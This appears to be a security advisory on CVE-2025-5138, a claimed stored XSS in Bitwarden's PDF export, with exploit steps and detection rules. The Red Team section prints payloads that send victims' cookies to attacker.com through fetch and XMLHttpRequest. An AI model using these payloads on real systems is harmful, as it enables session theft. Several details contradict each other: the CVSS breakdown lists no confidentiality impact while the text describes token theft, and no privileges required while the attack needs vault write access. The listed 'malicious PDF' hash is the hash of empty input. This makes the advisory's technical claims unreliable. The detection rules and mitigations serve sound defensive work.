CVE-2025-5138

Executive Summary

CVE-2025-5138 is a stored Cross-Site Scripting (XSS) vulnerability discovered in Bitwarden password manager versions up to 2.25.1. The flaw resides in the PDF File Handler component, where user-controlled input is not properly sanitized before being rendered in a PDF export. An attacker can craft a malicious PDF attachment or export that, when opened by a victim, executes arbitrary JavaScript in the context of the Bitwarden application or browser extension. The CVSS score is 3.5 (Low), but the public availability of a proof-of-concept (PoC) exploit increases the risk. The vendor has not responded to disclosure, and no official patch is available at this time.

Supply Chain & Package Security

This vulnerability does not directly affect open-source packages (NPM, PyPI, Go, Ruby). However, Bitwarden’s server-side components and browser extensions may be impacted. Users should verify the integrity of their Bitwarden installation and monitor for any supply-chain indicators such as modified PDF libraries or injected scripts in exported vault data.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must open the malicious PDF.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exfiltration directly.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No denial-of-service impact.

Threat Level: Low (CVSS 3.5). However, the public PoC and lack of patch elevate the real-world risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is triggered when Bitwarden’s PDF File Handler processes a specially crafted PDF file. The handler fails to escape or sanitize user-supplied data (e.g., vault item names, notes, or custom fields) before embedding them into the PDF document. An attacker can inject JavaScript code into a vault entry (e.g., a note field) that, when exported as a PDF and opened, executes within the PDF viewer’s JavaScript engine.

Attack Flow:

1. Attacker creates a malicious vault item containing XSS payload in a field (e.g., "><script>alert(1)</script>).
2. Victim exports their vault as a PDF using Bitwarden’s export feature.
3. Victim opens the PDF in a viewer that supports JavaScript (e.g., Adobe Acrobat, browser PDF viewer).
4. The injected script executes, potentially stealing session tokens, redirecting to phishing pages, or performing actions on behalf of the victim.

The vulnerability is classified as problematic because it requires user interaction and the PDF viewer must have JavaScript enabled. However, many modern PDF viewers enable JavaScript by default.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be in the PDF generation logic. A patched version would sanitize all user-controlled fields before embedding them into the PDF.

Vulnerable (pseudo-code):

function generatePDF(vaultData) {
  let pdfContent = `
    <html>
      <body>
        <h1>${vaultData.name}</h1>
        <p>${vaultData.notes}</p>
      </body>
    </html>
  `;
  // Directly embeds user input without sanitization
  return pdfContent;
}

Patched (pseudo-code):

function sanitize(input) {
  return input.replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;");
}

function generatePDF(vaultData) {
  let pdfContent = `
    <html>
      <body>
        <h1>${sanitize(vaultData.name)}</h1>
        <p>${sanitize(vaultData.notes)}</p>
      </body>
    </html>
  `;
  return pdfContent;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Bitwarden instance (self-hosted or cloud) version <= 2.25.1.
• Ability to create or modify vault items (e.g., via API or UI).
• Victim must export vault as PDF and open it.

Exploit Steps:

1. Create a vault item with a malicious payload in the notes field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

2. Trick the victim into exporting their vault as a PDF (e.g., social engineering).
3. Victim opens the PDF; the script executes and exfiltrates data.

Proof-of-Concept (PoC) Code:

<!-- Save as malicious_item.html and import into Bitwarden -->
<script>
  // This payload will be embedded in the PDF
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://attacker.com/steal?data=' + encodeURIComponent(document.cookie), true);
  xhr.send();
</script>

Blue Team

Detection:

• Monitor for unusual vault exports (e.g., multiple exports in short time).
• Inspect PDF files for embedded JavaScript using tools like pdfid or peepdf.
• Deploy network signatures to detect exfiltration attempts (see Suricata rule below).

Hunting:

• Search logs for export actions in Bitwarden audit trails.
• Use YARA rules to scan PDF files for XSS patterns.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – replace with actual if available)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious PDF)
• Network Indicators:
  • Outbound connections to attacker.com or similar domains.
  • HTTP requests containing document.cookie or localStorage in the URL.
• Behavioral:
  • Unexpected JavaScript execution in PDF viewer.
  • Vault items containing HTML/JavaScript in notes or custom fields.

Detection Engineering

YARA Rule

rule CVE_2025_5138_XSS_PDF {
  meta:
    description = "Detects XSS payloads in PDF files targeting Bitwarden CVE-2025-5138"
    author = "Valters IT"
    date = "2025-10-01"
    reference = "CVE-2025-5138"
  strings:
    $xss1 = /<script[^>]*>.*?<\/script>/is
    $xss2 = /on\w+\s*=\s*["']?[^"']*["']?/is
    $xss3 = /javascript\s*:/is
  condition:
    any of them
}

Sigma Rule

title: Bitwarden PDF Export XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-5138 via malicious PDF exports
author: Valters IT
logsource:
  product: bitwarden
  service: audit
detection:
  selection:
    EventID: 1000  # Example export event ID
    Details|contains: 
      - '<script'
      - 'onload'
      - 'javascript:'
  condition: selection
falsepositives:
  - Legitimate use of JavaScript in PDF (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-5138 Bitwarden PDF XSS Exfiltration"; flow:to_server,established; content:"document.cookie"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PDF Export: Temporarily disable the PDF export feature in Bitwarden until a patch is available.
2. User Awareness: Educate users not to open PDF exports from untrusted sources.
3. PDF Viewer Hardening: Disable JavaScript in PDF viewers (e.g., Adobe Acrobat: Edit > Preferences > JavaScript > Uncheck "Enable Acrobat JavaScript").

Long-term Fix:

• Apply input sanitization to all user-controlled fields before PDF generation.
• Implement Content Security Policy (CSP) in PDF generation to block inline scripts.
• Monitor Bitwarden’s official channels for a security patch.

Workaround:

• Use CSV or JSON export formats instead of PDF, as they are less prone to XSS.

Valters IT